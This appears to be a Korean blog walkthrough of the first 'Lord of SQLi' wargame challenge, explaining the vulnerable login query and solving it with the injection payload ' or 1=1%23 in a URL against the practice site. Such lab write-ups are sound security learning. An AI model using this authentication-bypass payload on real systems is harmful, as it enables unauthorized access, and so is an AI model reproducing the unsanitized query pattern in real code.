1번문제의 php코드

1. 문제풀이

 

1) 코드 해석

  • 위의 코드를 바탕으로 우리한테 필요한 부분만 해석하여 풀이하면 된다
  • SQLi에서 가장 필요한 부분은 SQL쿼리가 들어간 구문을 보고 어떤방식으로 데이터를 가져오는지 생각해야한다
  • 이번 문제에서 SQL쿼리에 해당하는 부분은 다음 과 같다

  select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'

  • 위의 SQL구문만 참이 되도록 만들어주면 1번문제라서 그런지 쉽게 해결할수 있다.

 

2) 문제 풀이

select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'

  • 이번 문제에서는 위구문의 노란색으로 칠해진 부분이 참이되게 만들어주면 된다.
  • 공격 시 삽입 구문:' or 1=1#  // 주석인 #은 URL 인코딩때문에 읽을 수 없기 때문에  %23으로 바꿔서 대입한다
  • 공격 후 구문: https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=' or 1=1%23 
  • 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.

select id from prob_gremlin where id='' or 1=1#' and pw=''

 

공격 성공 화면

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

Lord of SQLi(#6 darkelf)  (0) 2022.12.30
Lord of SQLi(#5 wolfman)  (0) 2022.12.28
Lord of SQLi(#4 orc)  (0) 2022.12.28
Lord of SQLi(#3 goblin)  (0) 2022.12.28
Lord of SQLi(#2 cobolt)  (1) 2022.12.28

+ Recent posts